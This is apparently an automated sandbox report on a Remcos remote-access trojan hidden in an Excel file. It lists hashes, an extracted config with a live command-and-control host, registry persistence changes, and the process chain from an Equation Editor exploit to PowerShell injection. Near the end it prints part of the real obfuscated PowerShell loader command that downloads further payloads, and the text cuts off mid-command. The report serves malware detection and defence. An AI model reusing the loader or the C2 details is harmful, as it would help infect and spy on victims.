remcos | 191a46b3849f0cc60ac2e0a3387585dd9c34e2b28cb66bffdbda08238ee53710

Analysis

max time kernel
150s
max time network
146s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
27-05-2024 06:59

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Report Analysis Logs

General

Target

Ref19920830281982938RT.xls
Size

308KB
MD5

f5051793b6c98a29efba84f3821d1e30
SHA1

b6b446e72525796444ae132fbb6af6788f08c5de
SHA256

191a46b3849f0cc60ac2e0a3387585dd9c34e2b28cb66bffdbda08238ee53710
SHA512

f8be2d2f6596deb0aac8d4770ba3cde80a39f3abdda9f9c32e0fd337c3a127fb518220bfad65528d29b9c4fa23a2312cadc08f9e2a3ababf1c9be4d44db9a9f6
SSDEEP

6144:QKHTwu2pQHTIIwJsl5mAwKTwVbE7s9NEfUuqMQTZabPYDX:5QAExhKTWESoQTUPYD

Score

10^/10

remcos remotehost execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
nots.dat
keylog_flag
false
keylog_folder
note
keylog_path
%Temp%
mouse_option
false
mutex
Rmc-999Z97
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 7 IoCs

Processes:

EQNEDT32.EXEWScript.exepowershell.exe

flow pid process

16 492 EQNEDT32.EXE
20 1788 WScript.exe
22 1788 WScript.exe
24 2984 powershell.exe
26 2984 powershell.exe
28 2984 powershell.exe
30 2984 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2312 powershell.exe
2984 powershell.exe
2644 powershell.exe
Abuses OpenXML format to download file from external location

flow	pid	process
16	492	EQNEDT32.EXE
20	1788	WScript.exe
22	1788	WScript.exe
24	2984	powershell.exe
26	2984	powershell.exe
28	2984	powershell.exe
30	2984	powershell.exe

pid	process
2312	powershell.exe
2984	powershell.exe
2644	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\incontrovertido.vbs"	powershell.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2984 set thread context of 2664 2984 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

492 EQNEDT32.EXE

description	pid	process	target process
PID 2984 set thread context of 2664	2984	powershell.exe	RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

pid	process
492	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXEEXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2868 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2312 powershell.exe
2984 powershell.exe
2644 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2312 powershell.exe
Token: SeDebugPrivilege 2984 powershell.exe
Token: SeDebugPrivilege 2644 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXEWINWORD.EXERegAsm.exe

pid process

2868 EXCEL.EXE
2868 EXCEL.EXE
2868 EXCEL.EXE
2608 WINWORD.EXE
2608 WINWORD.EXE
2664 RegAsm.exe

pid	process
2868	EXCEL.EXE

pid	process
2312	powershell.exe
2984	powershell.exe
2644	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

pid	process
2868	EXCEL.EXE
2868	EXCEL.EXE
2868	EXCEL.EXE
2608	WINWORD.EXE
2608	WINWORD.EXE
2664	RegAsm.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

EQNEDT32.EXEWINWORD.EXEWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 492 wrote to memory of 1788	492	EQNEDT32.EXE	WScript.exe
PID 492 wrote to memory of 1788	492	EQNEDT32.EXE	WScript.exe
PID 492 wrote to memory of 1788	492	EQNEDT32.EXE	WScript.exe
PID 492 wrote to memory of 1788	492	EQNEDT32.EXE	WScript.exe
PID 2608 wrote to memory of 600	2608	WINWORD.EXE	splwow64.exe
PID 2608 wrote to memory of 600	2608	WINWORD.EXE	splwow64.exe
PID 2608 wrote to memory of 600	2608	WINWORD.EXE	splwow64.exe
PID 2608 wrote to memory of 600	2608	WINWORD.EXE	splwow64.exe
PID 1788 wrote to memory of 2312	1788	WScript.exe	powershell.exe
PID 1788 wrote to memory of 2312	1788	WScript.exe	powershell.exe
PID 1788 wrote to memory of 2312	1788	WScript.exe	powershell.exe
PID 1788 wrote to memory of 2312	1788	WScript.exe	powershell.exe
PID 2312 wrote to memory of 2984	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 2984	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 2984	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 2984	2312	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2644	2984	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2644	2984	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2644	2984	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2644	2984	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe
PID 2984 wrote to memory of 2664	2984	powershell.exe	RegAsm.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Ref19920830281982938RT.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2868

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2608

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:600

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:492

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\onsandtigerbeautifulpicture.vbs"
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDg